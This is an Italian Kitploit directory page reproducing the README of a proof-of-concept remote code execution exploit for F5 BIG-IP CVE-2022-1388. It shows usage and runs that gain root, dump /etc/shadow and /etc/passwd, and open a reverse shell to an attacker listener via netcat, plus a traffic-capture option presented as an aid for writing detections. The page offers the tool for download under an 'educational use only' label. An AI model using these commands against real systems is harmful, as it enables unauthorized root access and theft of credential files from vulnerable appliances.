Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-1388 — -- SOLO PER USO EDUCATIVO -- Proof-of-Concept RCE per CVE-2022-1388, più alcune funzionalità aggiunte per team blu e rossi | Kitploit
Strumenti/GitHubGitHub/vaelwolf/cve-2022-1388
Sniffing e Analisi dei PacchettiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebInformatica ForensePenetration TestingApprendimento e Formazione
GitHubvaelwolf/cve-2022-1388

CVE-2022-1388

-- SOLO PER USO EDUCATIVO -- Proof-of-Concept RCE per CVE-2022-1388, più alcune funzionalità aggiunte per team blu e rossi

Vedi Repository
713 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-1388 RCE, Reverse Shell e Auto-Export PCAP

-- SOLO PER USO EDUCATIVO --

L'autore non è responsabile per qualsiasi azione intrapresa con qualsiasi aspetto di questo progetto/repository. Ho creato questo allo scopo di comprendere l'attacco e scrivere rilevamenti all'interno di un SIEM e ho voluto condividerlo affinché altri possano fare lo stesso. Usa a tuo rischio.

Questo exploit prende di mira la vulnerabilità BIG-IP iControl REST CVE-2022-1388 nei sistemi F5. Consulta l'avviso F5 (https://support.f5.com/csp/article/K23605346) per le versioni interessate e altre informazioni.

Sentiti libero di inviare PR o segnalare qualsiasi problema. È stato testato su alcuni F5 VE vulnerabili in Google Cloud da una macchina CentOS con Python 3.6

Utilizzo

root@kitploit:~
CVE-2022-1388.py [-h] -t TARGET -p PORT [-c CMD] [-s] [-e] [-lh LHOST] [-lp LPORT]

optional arguments:
  -h, --help            show this help message and exit
  
  -t TARGET, --target TARGET, --RHOSTS TARGET
                        Target IP of vulnerable BIG-IP system
  -p PORT, --port PORT, --RPORT PORT
                        Target port on vulnerable BIG-IP system
  -c CMD, --cmd CMD, --command CMD
                        Command to run on target system
  -e, --export, --tcpdump
                        Export captured traffic and ssl-key.log | **Requires sudo privileges!
  -q, --quiet           Don't display banner
  -s, --shell           Launch an interactive shell
  -lh LHOST, --lhost LHOST, --LHOST LHOST
                        Required for -s [shell]; Local IP/interface to bind listener to
  -lp LPORT, --lport LPORT, --LPORT LPORT
                        Required for -s [shell]; Local port to bind listener to

Esecuzione Remota di Comandi

root@kitploit:~
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c id

===============================================================================================================
[+] CVE-2022-1388 Exploit affecting F5 BIG-IP
[+] Author: vaelwolf
[+] Remediation:
       Upgrade to a patched version found in the vendor advisory: https://support.f5.com/csp/article/K23605346
[!] For educational use only! Use at your own risk.
=============================================================================================================== 


uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
root@kitploit:~
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c "cat /etc/shadow" -q
root:!!:18656:0:99999:7:::
bin:*:16479:0:99999:7:::
daemon:*:16479:0:99999:7:::
adm:*:16479:0:99999:7:::
lp:*:16479:0:99999:7:::
mail:*:16479:0:99999:7:::
uucp:*:16479:0:99999:7:::
[[ removed for brevity ]]

Shell inversa

root@kitploit:~
Attacker:
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -s -lh 10.142.0.8 -lp 4444

===============================================================================================================
[+] CVE-2022-1388 Exploit affecting F5 BIG-IP
[+] Author: vaelwolf
[+] Remediation:
        Upgrade to a patched version found in the vendor advisory: https://support.f5.com/csp/article/K23605346
[!] For educational use only! Use at your own risk.
=============================================================================================================== 


[+] If you haven't already, please start your listener of choice on port 4444
[+] Press any key to continue...

[+] Exploit finished. If you launched a reverse shell listener, check there for your terminal!
 
Listener:
$ nc -lp 4444
bash: no job control in this shell
[@localhost:Active:Standalone] restjavad # whoami
whoami
root

Esportazione di un PCAP per l'analisi

Specificando il flag -e (--export) verranno creati due file: detection.pcap e ssl-key.log. Questi file verranno sovrascritti ogni volta che viene specificato il flag -e, quindi ricorda di spostare o rinominare i file che desideri conservare. Il file ssl-key.log può essere importato in Wireshark tramite Preferenze -> Protocolli -> TLS -> (Pre)-Master-Secret log filename per decriptare la sessione TLS. Nota che a causa di tcpdump, quando si usa -e, lo script deve essere eseguito come sudo.

root@kitploit:~
$ sudo python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c "cat /etc/passwd" -q -e
[+] Starting tcpdump on port 8443 for 5 seconds

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
[[ removed for brevity ]]

Before TLS Decryption:

Wireshark 01

Adding the automatically-exported ssl-key.log to the TLS preferences in Wireshark:

Wireshark Preferences

After TLS Decryption:

Wireshark 02 Wireshark 03
Scarica lo strumento